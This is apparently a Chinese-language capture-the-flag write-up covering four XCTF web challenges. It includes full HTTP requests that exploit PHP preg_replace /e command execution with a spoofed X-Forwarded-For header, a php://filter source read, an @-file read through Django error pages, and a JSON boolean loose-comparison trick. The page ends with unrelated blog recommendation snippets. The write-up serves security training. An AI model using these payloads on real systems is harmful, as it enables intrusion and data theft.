cat

ics-05

ics-06

lottery

Cat

XCTF 4th-WHCTF-2017

输入域名  输入普通域名无果  输入127.0.0.1返回了ping码的结果 有可能是命令执行

尝试fuzz命令执行  特殊符号

看了wp涨了点姿势 %80之后的url编码)就可以返回Django报错  

%80后的字符结合报错信息UnicodeEncodeError可以推断是由于ascii编码不支持导致的报错,根据报错信息可以得到的信息

里面可以得到项目路径opt/api/

setting.py 配置文件在opt/api/api/下  套一层名为项目名的文件夹下  默认配置为数据库是sqlites

网站是使用Django进行开发的,结合PHP可以通过在参数中注入@来读取文件的漏洞,依次查看python的配置文件和数据库得到flag的内容

使用@进行文件传递,对文件进行读取之后还会把内容传给url参数,如果像上面一样有超出解析范围的编码的时候就会得到错误信息。

我们的目标首先是数据库文件,看从错误信息中能不能拿到flag,可以从配置文件settings.py的报错中看看有没有database的相关信息

  1. ?url=@/opt/api/api/settings.py

报错内容搜索database可以得到:

  1. ?url=@/opt/api/database.sqlite3

获取数据库内容

ics-05

眼花缭乱的 题目描述:其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统

http://111.198.29.45:56033/index.php?page=index

url中有参数拼接  fuzz下  发现是支持伪协议 读了源码

  1. ?page=php://filter/convert.base64-encode/resource=index.php

  1. //方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
  2.  
  3. if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
  4.  
  5. echo "<br >Welcome My Admin ! <br >";
  6.  
  7. $pattern = $_GET[pat];
  8. $replacement = $_GET[rep];
  9. $subject = $_GET[sub];
  10.  
  11. if (isset($pattern) && isset($replacement) && isset($subject)) {
  12. preg_replace($pattern, $replacement, $subject);
  13. }else{
  14. die();
  15. }
  16.  
  17. }

需要将X_FORWARDED_FOR设置为127.0.0.1,get传参方式 ‘pattern’ ,’ replacement’,‘subject’ 三个参数传递给preg_replace函数。

preg_replce e模式会命令执行,进行替换的部分会被执行

  1. GET /index.php?pat=/(.*)/e&rep=system(%27ls%27)&sub=a HTTP/1.1
  2. Host: 111.198.29.45:56033
  3. User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
  6. Accept-Encoding: gzip, deflate
  7. X-FORWARDED-FOR:127.0.0.1
  8. Cookie: PHPSESSID=sse21lut43grltrqpm15c3u1k0
  9. Connection: close
  10. Upgrade-Insecure-Requests: 1

最后发现flag :

  1. GET /index.php?pat=/(.*)/e&rep=system(%27cat+s3chahahaDir/flag/flag.php%27)&sub=a HTTP/1.1
  2. Host: 111.198.29.45:56033
  3. User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
  6. Accept-Encoding: gzip, deflate
  7. X-FORWARDED-FOR:127.0.0.1
  8. Cookie: PHPSESSID=sse21lut43grltrqpm15c3u1k0
  9. Connection: close
  10. Upgrade-Insecure-Requests: 1

ics-06

题目描述:云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。

  1. http://111.198.29.45:58786/index.php?id=1

本来以为是注入  没成功

说是有一处留下了痕迹 就遍历下id  2333时flag   (之前fuzz了很久)

lottery

这个题稍微有意思点。

先测试了一下,注册用户,购买彩票,拿到足够的钱,购买flag。

然后扫了下目录 发现git泄露

api.php:

  1. <?php
  2. require_once('config.php');
  3. header('Content-Type: application/json');
  4.  
  5. function response($resp){
  6. die(json_encode($resp));
  7. }
  8.  
  9. function response_error($msg){
  10. $result = ['status'=>'error'];
  11. $result['msg'] = $msg;
  12. response($result);
  13. }
  14.  
  15. function require_keys($req, $keys){
  16. foreach ($keys as $key) {
  17. if(!array_key_exists($key, $req)){
  18. response_error('invalid request');
  19. }
  20. }
  21. }
  22.  
  23. function require_registered(){
  24. if(!isset($_SESSION['name']) || !isset($_SESSION['money'])){
  25. response_error('register first');
  26. }
  27. }
  28.  
  29. function require_min_money($min_money){
  30. if(!isset($_SESSION['money'])){
  31. response_error('register first');
  32. }
  33. $money = $_SESSION['money'];
  34. if($money < 0){
  35. $_SESSION = array();
  36. session_destroy();
  37. response_error('invalid negative money');
  38. }
  39. if($money < $min_money){
  40. response_error('you don\' have enough money');
  41. }
  42. }
  43.  
  44. if($_SERVER["REQUEST_METHOD"] != 'POST' || !isset($_SERVER["CONTENT_TYPE"]) || $_SERVER["CONTENT_TYPE"] != 'application/json'){
  45. response_error('please post json data');
  46. }
  47.  
  48. $data = json_decode(file_get_contents('php://input'), true);
  49. if(json_last_error() != JSON_ERROR_NONE){
  50. response_error('invalid json');
  51. }
  52.  
  53. require_keys($data, ['action']);
  54.  
  55. // my boss told me to use cryptographically secure algorithm
  56. function random_num(){
  57. do {
  58. $byte = openssl_random_pseudo_bytes(10, $cstrong);
  59. $num = ord($byte);
  60. } while ($num >= 250);
  61.  
  62. if(!$cstrong){
  63. response_error('server need be checked, tell admin');
  64. }
  65.  
  66. $num /= 25;
  67. return strval(floor($num));
  68. }
  69.  
  70. function random_win_nums(){
  71. $result = '';
  72. for($i=0; $i<7; $i++){
  73. $result .= random_num();
  74. }
  75. return $result;
  76. }
  77.  
  78. function buy($req){
  79. require_registered();
  80. require_min_money(2);
  81.  
  82. $money = $_SESSION['money'];
  83. $numbers = $req['numbers'];
  84. $win_numbers = random_win_nums();
  85. $same_count = 0;
  86. for($i=0; $i<7; $i++){
  87. if($numbers[$i] == $win_numbers[$i]){
  88. $same_count++;
  89. }
  90. }
  91. switch ($same_count) {
  92. case 2:
  93. $prize = 5;
  94. break;
  95. case 3:
  96. $prize = 20;
  97. break;
  98. case 4:
  99. $prize = 300;
  100. break;
  101. case 5:
  102. $prize = 1800;
  103. break;
  104. case 6:
  105. $prize = 200000;
  106. break;
  107. case 7:
  108. $prize = 5000000;
  109. break;
  110. default:
  111. $prize = 0;
  112. break;
  113. }
  114. $money += $prize - 2;
  115. $_SESSION['money'] = $money;
  116. response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
  117. }
  118.  
  119. function flag($req){
  120. global $flag;
  121. global $flag_price;
  122.  
  123. require_registered();
  124. $money = $_SESSION['money'];
  125. if($money < $flag_price){
  126. response_error('you don\' have enough money');
  127. } else {
  128. $money -= $flag_price;
  129. $_SESSION['money'] = $money;
  130. $msg = 'Here is your flag: ' . $flag;
  131. response(['status'=>'ok','msg'=>$msg, 'money'=>$money]);
  132. }
  133. }
  134.  
  135. function register($req){
  136. $name = $req['name'];
  137. $_SESSION['name'] = $name;
  138. $_SESSION['money'] = 20;
  139.  
  140. response(['status'=>'ok']);
  141. }
  142.  
  143. switch ($data['action']) {
  144. case 'buy':
  145. require_keys($data, ['numbers']);
  146. buy($data);
  147. break;
  148.  
  149. case 'flag':
  150. flag($data);
  151. break;
  152.  
  153. case 'register':
  154. require_keys($data, ['name']);
  155. register($data);
  156. break;
  157.  
  158. default:
  159. response_error('invalid request');
  160. break;
  161. }

重点部分:

  1. function buy($req){
  2. require_registered();
  3. require_min_money(2);
  4.  
  5. $money = $_SESSION['money'];
  6. $numbers = $req['numbers'];
  7. $win_numbers = random_win_nums();
  8. $same_count = 0;
  9. for($i=0; $i<7; $i++){
  10. if($numbers[$i] == $win_numbers[$i]){
  11. $same_count++;
  12. }
  13. }
  14. switch ($same_count) {
  15. case 2:
  16. $prize = 5;
  17. break;
  18. case 3:
  19. $prize = 20;
  20. break;
  21. case 4:
  22. $prize = 300;
  23. break;
  24. case 5:
  25. $prize = 1800;
  26. break;
  27. case 6:
  28. $prize = 200000;
  29. break;
  30. case 7:
  31. $prize = 5000000;
  32. break;
  33. default:
  34. $prize = 0;
  35. break;
  36. }
  37. $money += $prize - 2;
  38. $_SESSION['money'] = $money;
  39. response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
  40. }

其中 $numbers 来自用户json输入 {"action":"buy","numbers":"11111111"},没有检查数据类型。 $win_numbers 是随机生成的数字字符串。
  使用 PHP 弱类型松散比较,以"1"为例,和TRUE,1,"1"相等。 由于 json 支持布尔型数据,因此可以抓包改包,构造数据:

  1. POST /api.php HTTP/1.1
  2. Host: 111.198.29.45:51029
  3. User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
  4. Accept: application/json, text/javascript, */*; q=0.01
  5. Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
  6. Accept-Encoding: gzip, deflate
  7. Content-Type: application/json
  8. X-Requested-With: XMLHttpRequest
  9. Referer: http://111.198.29.45:51029/buy.php
  10. Content-Length: 36
  11. Cookie: PHPSESSID=3cb7bb982831ce7bcf4219a605214be5
  12. Connection: close
  13.  
  14. {"action":"buy","numbers":"1111111"}

得到5000000,再来一次就是10000000,可以购买flag了

攻防世界(XCTF)WEB(进阶区)write up(一)的更多相关文章

  1. 攻防世界(XCTF)WEB(进阶区)write up(四)

    ics-07  Web_php_include  Zhuanxv Web_python_template_injection ics-07 题前半部分是php弱类型 这段说当传入的id值浮点值不能为1 ...

  2. 攻防世界(XCTF)WEB(进阶区)write up(三)

    挑着做一些好玩的ctf题 FlatScience web2 unserialize3upload1wtf.sh-150ics-04web i-got-id-200 FlatScience 扫出来的lo ...

  3. 攻防世界(XCTF)WEB(进阶区)write up(二)

    国庆就要莫得了   起床刷几道 NewsCenter mfw Training-WWW-Robots NaNNaNNaNNaN-Batman bug NewsCenter search传参那里发现有注 ...

  4. 攻防世界 ctf web进阶区 unserialize

    进入到题目的界面,看到以下源码 构造payload=?code=O:4:"xctf":1:{s:4:"flag";s:3:"111";} 结 ...

  5. 【攻防世界】 高手进阶区 Recho WP

    0x00 考察点 考察点有三个: ROP链构造 Got表劫持 pwntools的shutdown功能 0x01 程序分析 上来三板斧 file一下 checksec --file XXX chmod ...

  6. 攻防世界-web-高手进阶区018-easytornado

    1.查看主页面 2.查看其他页面,/welcome.txt http://111.198.29.45:39004/file?filename=/welcome.txt&filehash=9ae ...

  7. 攻防世界-Crypto高手进阶区部分Writeup

    1.flag_in_your_hand && flag_in_your_hand1 下载,解压后 打开index文件,直接点击get flag错误,输入其他点击也同样 打开js文件,在 ...

  8. 攻防世界-WEB-新手练习区

    附:|>>>攻防世界-WEB-高手进阶区<<<|

  9. 攻防世界 Misc 新手练习区 stegano CONFidence-DS-CTF-Teaser Writeup

    攻防世界 Misc 新手练习区 stegano CONFidence-DS-CTF-Teaser Writeup 题目介绍 题目考点 隐写术 摩斯密码 Writeup 下载附件是PDF文件打开,研究一 ...

随机推荐

  1. Docker入门到实践——简单操作

    1.对比传统虚拟机总结 特性 容器 虚拟机 启动 秒级 分钟级 硬盘使用 一般为MB 一般为GB 性能 接近原生 弱于 系统支持量 单机支持上千个容器 一般几十个 2.基本概念 Docker包括三个基 ...

  2. Android studio初次安装启动时弹出unable to access android sdk add-on list提示的解决方法

    一.问题描述 初次安装Android Studio,启动后,报错如下: unable to access android sdk add-on lis 如图: 二.原因分析 AS启动后,会在默认路径下 ...

  3. python实现经典算法

    1,快速排序 题目形式:手写一下快速排序算法. 题目难度:中等. 出现概率:约50%.手写快排绝对是手撕代码面试题中的百兽之王,掌握了它就是送分题,没有掌握它就是送命题. 参考代码: def quic ...

  4. Spring——依赖注入(DI)详解

    声明:本博客仅仅是一个初学者的学习记录.心得总结,其中肯定有许多错误,不具有参考价值,欢迎大佬指正,谢谢!想和我交流.一起学习.一起进步的朋友可以加我微信Liu__66666666 这是简单学习一遍之 ...

  5. (七十二)c#Winform自定义控件-雷达图

    前提 入行已经7,8年了,一直想做一套漂亮点的自定义控件,于是就有了本系列文章. GitHub:https://github.com/kwwwvagaa/NetWinformControl 码云:ht ...

  6. MAC中Composer的使用

    安装composer 安装前需确保系统PHP版本在5.3以上,在终端中执行以下命令下载Composer可执行文件: curl -sS https://getcomposer.org/installer ...

  7. JAVA设计模式-动态代理(Proxy)源码分析

    在文章:JAVA设计模式-动态代理(Proxy)示例及说明中,为动态代理设计模式举了一个小小的例子,那么这篇文章就来分析一下源码的实现. 一,Proxy.newProxyInstance方法 @Cal ...

  8. 用.NET做动态域名解析

    用.NET做动态域名解析 动态域名解析,或DNSR,通常用于解析IP地址经常变化的域名.电信网络提供了公网IP,给广大程序员远程办公.内容分享等方面带来了极大的便利.但公网IP是动态的,它会经常变化, ...

  9. 搭建大数据开发环境-Hadoop篇

    前期准备 操作系统 hadoop目前对linux操作系统支持是最好的,可以部署2000个节点的服务器集群:在hadoop2.2以后,开始支持windows操作系统,但是兼容性没有linux好.因此,建 ...

  10. Janus安装教程,ubuntu18.04系统

    Janus安装教程,ubuntu18.04系统     本文介绍Jansu如何安装,操作系统为Ubuntu 18.04.    (1)安装git 执行命令:“sudo apt-get install ...